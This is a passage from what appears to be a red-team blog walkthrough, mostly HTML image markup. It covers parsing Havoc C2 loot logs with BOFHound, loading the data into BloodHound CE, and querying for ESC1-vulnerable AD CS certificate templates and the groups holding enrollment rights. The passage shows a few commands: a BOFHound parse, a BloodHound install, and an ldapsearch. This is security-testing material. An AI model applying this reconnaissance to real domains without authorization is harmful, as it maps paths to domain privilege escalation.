class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!xnJA!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Febe1dcda-0957-4a35-b6cb-4dd43170c5d6_1600x755.png 424w, https://substackcdn.com/image/fetch/$s_!xnJA!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Febe1dcda-0957-4a35-b6cb-4dd43170c5d6_1600x755.png 848w, https://substackcdn.com/image/fetch/$s_!xnJA!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Febe1dcda-0957-4a35-b6cb-4dd43170c5d6_1600x755.png 1272w, https://substackcdn.com/image/fetch/$s_!xnJA!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Febe1dcda-0957-4a35-b6cb-4dd43170c5d6_1600x755.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!xnJA!,w_2400,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Febe1dcda-0957-4a35-b6cb-4dd43170c5d6_1600x755.png" width="1002" height="472.78434065934067" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ebe1dcda-0957-4a35-b6cb-4dd43170c5d6_1600x755.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:false,&quot;imageSize&quot;:&quot;large&quot;,&quot;height&quot;:687,&quot;width&quot;:1456,&quot;resizeWidth&quot;:1002,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-large" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!xnJA!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Febe1dcda-0957-4a35-b6cb-4dd43170c5d6_1600x755.png 424w, https://substackcdn.com/image/fetch/$s_!xnJA!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Febe1dcda-0957-4a35-b6cb-4dd43170c5d6_1600x755.png 848w, https://substackcdn.com/image/fetch/$s_!xnJA!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Febe1dcda-0957-4a35-b6cb-4dd43170c5d6_1600x755.png 1272w, https://substackcdn.com/image/fetch/$s_!xnJA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Febe1dcda-0957-4a35-b6cb-4dd43170c5d6_1600x755.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Query for AIACAs, NTAuth Stores, and Root CAs</figcaption></figure></div><p>After running each of the queries in the sample transcript, we can parse that minimal dataset from the Havoc loot logs with BOFHound.</p><pre><code>bofhound -i /opt/havoc/data/loot --parser havoc --zip</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!T3-F!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9633aaff-8d6f-4387-a5d9-d44f5bf0fc84_1370x1053.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!T3-F!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9633aaff-8d6f-4387-a5d9-d44f5bf0fc84_1370x1053.png 424w, https://substackcdn.com/image/fetch/$s_!T3-F!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9633aaff-8d6f-4387-a5d9-d44f5bf0fc84_1370x1053.png 848w, https://substackcdn.com/image/fetch/$s_!T3-F!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9633aaff-8d6f-4387-a5d9-d44f5bf0fc84_1370x1053.png 1272w, https://substackcdn.com/image/fetch/$s_!T3-F!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9633aaff-8d6f-4387-a5d9-d44f5bf0fc84_1370x1053.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!T3-F!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9633aaff-8d6f-4387-a5d9-d44f5bf0fc84_1370x1053.png" width="1370" height="1053" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9633aaff-8d6f-4387-a5d9-d44f5bf0fc84_1370x1053.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1053,&quot;width&quot;:1370,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!T3-F!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9633aaff-8d6f-4387-a5d9-d44f5bf0fc84_1370x1053.png 424w, https://substackcdn.com/image/fetch/$s_!T3-F!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9633aaff-8d6f-4387-a5d9-d44f5bf0fc84_1370x1053.png 848w, https://substackcdn.com/image/fetch/$s_!T3-F!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9633aaff-8d6f-4387-a5d9-d44f5bf0fc84_1370x1053.png 1272w, https://substackcdn.com/image/fetch/$s_!T3-F!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9633aaff-8d6f-4387-a5d9-d44f5bf0fc84_1370x1053.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">BOFHound Parsing the Log Data</figcaption></figure></div><p>After the data has been parsed, we can load up BHCE and upload the output archive.</p><pre><code>curl -L https://ghst.ly/getbhce &gt; docker-compose.yml
sudo docker compose pull
sudo docker compose up</code></pre><p>In the UI, we can use some of the prebuilt queries to help us find common misconfigurations and escalation paths. I&#8217;ll start with the prebuilt <em>Enrollment rights on ESC1 certificate templates </em>query, which will limit the templates I view to just those that meet ESC1 requirements.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!o3GZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf0a74b8-f22d-4046-a084-0cb83ef94bd5_1400x1203.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!o3GZ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf0a74b8-f22d-4046-a084-0cb83ef94bd5_1400x1203.png 424w, https://substackcdn.com/image/fetch/$s_!o3GZ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf0a74b8-f22d-4046-a084-0cb83ef94bd5_1400x1203.png 848w, https://substackcdn.com/image/fetch/$s_!o3GZ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf0a74b8-f22d-4046-a084-0cb83ef94bd5_1400x1203.png 1272w, https://substackcdn.com/image/fetch/$s_!o3GZ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf0a74b8-f22d-4046-a084-0cb83ef94bd5_1400x1203.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!o3GZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf0a74b8-f22d-4046-a084-0cb83ef94bd5_1400x1203.png" width="574" height="493.23" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bf0a74b8-f22d-4046-a084-0cb83ef94bd5_1400x1203.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1203,&quot;width&quot;:1400,&quot;resizeWidth&quot;:574,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!o3GZ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf0a74b8-f22d-4046-a084-0cb83ef94bd5_1400x1203.png 424w, https://substackcdn.com/image/fetch/$s_!o3GZ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf0a74b8-f22d-4046-a084-0cb83ef94bd5_1400x1203.png 848w, https://substackcdn.com/image/fetch/$s_!o3GZ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf0a74b8-f22d-4046-a084-0cb83ef94bd5_1400x1203.png 1272w, https://substackcdn.com/image/fetch/$s_!o3GZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf0a74b8-f22d-4046-a084-0cb83ef94bd5_1400x1203.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Prebuilt AD CS Queries</figcaption></figure></div><p>Here&#8217;s what those results look like with the objects we queried in the lab. We know the SIDs ending in 519 and 512 are <em>Enterprise Admins</em> and <em>Domain Admins</em>, but we&#8217;ve got an unknown object with a resource ID (RID) of &#8220;1602&#8221;.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!vzoN!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8a2748e7-d32e-4bd4-b7d2-12f498efef06_1550x282.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!vzoN!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8a2748e7-d32e-4bd4-b7d2-12f498efef06_1550x282.png 424w, https://substackcdn.com/image/fetch/$s_!vzoN!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8a2748e7-d32e-4bd4-b7d2-12f498efef06_1550x282.png 848w, https://substackcdn.com/image/fetch/$s_!vzoN!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8a2748e7-d32e-4bd4-b7d2-12f498efef06_1550x282.png 1272w, https://substackcdn.com/image/fetch/$s_!vzoN!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8a2748e7-d32e-4bd4-b7d2-12f498efef06_1550x282.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!vzoN!,w_2400,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8a2748e7-d32e-4bd4-b7d2-12f498efef06_1550x282.png" width="930" height="169.2651098901099" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8a2748e7-d32e-4bd4-b7d2-12f498efef06_1550x282.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:false,&quot;imageSize&quot;:&quot;large&quot;,&quot;height&quot;:265,&quot;width&quot;:1456,&quot;resizeWidth&quot;:930,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-large" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!vzoN!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8a2748e7-d32e-4bd4-b7d2-12f498efef06_1550x282.png 424w, https://substackcdn.com/image/fetch/$s_!vzoN!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8a2748e7-d32e-4bd4-b7d2-12f498efef06_1550x282.png 848w, https://substackcdn.com/image/fetch/$s_!vzoN!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8a2748e7-d32e-4bd4-b7d2-12f498efef06_1550x282.png 1272w, https://substackcdn.com/image/fetch/$s_!vzoN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8a2748e7-d32e-4bd4-b7d2-12f498efef06_1550x282.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">The &#8220;Fog of War&#8221; &#8212; Unknown Objects in the Graph</figcaption></figure></div><p>If we issue an LDAP query for that mystery SID, we can determine that it&#8217;s a group (think back to the original attack path screenshot we&#8217;re working towards).</p><pre><code>ldapsearch (objectSid=S-1&#8211;5&#8211;21&#8211;2301939034&#8211;812057587&#8211;2058894929&#8211;1602) *,ntsecuritydescriptor</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hChI!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F837cbf3d-75a8-4d19-b1fb-d2f89828022f_1600x610.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hChI!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F837cbf3d-75a8-4d19-b1fb-d2f89828022f_1600x610.png 424w, https://substackcdn.com/image/fetch/$s_!hChI!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F837cbf3d-75a8-4d19-b1fb-d2f89828022f_1600x610.png 848w, https://substackcdn.com/image/fetch/$s_!hChI!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F837cbf3d-75a8-4d19-b1fb-d2f89828022f_1600x610.png 1272w, https://substackcdn.com/image/fetch/$s_!hChI!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F837cbf3d-75a8-4d19-b1fb-d2f89828022f_1600x610.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hChI!,w_2400,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F837cbf3d-75a8-4d19-b1fb-d2f89828022f_1600x610.png" width="1004" height="382.70604395604397" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/837cbf3d-75a8-4d19-b1fb-d2f89828022f_1600x610.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:false,&quot;imageSize&quot;:&quot;large&quot;,&quot;height&quot;:555,&quot;width&quot;:1456,&quot;resizeWidth&quot;:1004,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-large" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!hChI!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F837cbf3d-75a8-4d19-b1fb-d2f89828022f_1600x610.png 424w, https://substackcdn.com/image/fetch/$s_!hChI!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F837cbf3d-75a8-4d19-b1fb-d2f89828022f_1600x610.png 848w, https://substackcdn.com/image/fetch/$s_!hChI!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F837cbf3d-75a8-4d19-b1fb-d2f89828022f_1600x610.png 1272w, https://substackcdn.com/image/fetch/$s_!hChI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F837cbf3d-75a8-4d19-b1fb-d2f89828022f_1600x610.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Query the Unknown BloodHound Node</figcaption></figure></div><p>That returned properties for the group granted enrollment rights, including its distinguished name, which we can use to unroll the group members.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!6bik!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34e2dbc2-db79-4077-b05a-d66b8e79e528_733x340.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!6bik!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34e2dbc2-db79-4077-b05a-d66b8e79e528_733x340.png 424w, https://substackcdn.com/image/fetch/$s_!6bik!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34e2dbc2-db79-4077-b05a-d66b8e79e528_733x340.png 848w, https://substackcdn.com/image/fetch/$s_!6bik!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34e2dbc2-db79-4077-b05a-d66b8e79e528_733x340.png 1272w, https://substackcdn.com/image/fetch/$s_!6bik!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34e2dbc2-db79-4077-b05a-d66b8e79e528_733x340.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!6bik!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34e2dbc2-db79-4077-b05a-d66b8e79e528_733x340.png" width="733" height="340" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/34e2dbc2-db79-4077-b05a-d66b8e79e528_733x340.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:340,&quot;width&quot;:733,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!6bik!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34e2dbc2-db79-4077-b05a-d66b8e79e528_733x340.png 424w, https://substackcdn.com/image/fetch/$s_!6bik!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34e2dbc2-db79-4077-b05a-d66b8e79e528_733x340.png 848w, https://substackcdn.com/image/fetch/$s_!6bik!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34e2dbc2-db79-4077-b05a-d66b8e79e528_733x340.png 1272w, https://substackcdn.com/image/fetch/$s_!6bik!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34e2dbc2-db79-4077-b05a-d66b8e79e528_733x340.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 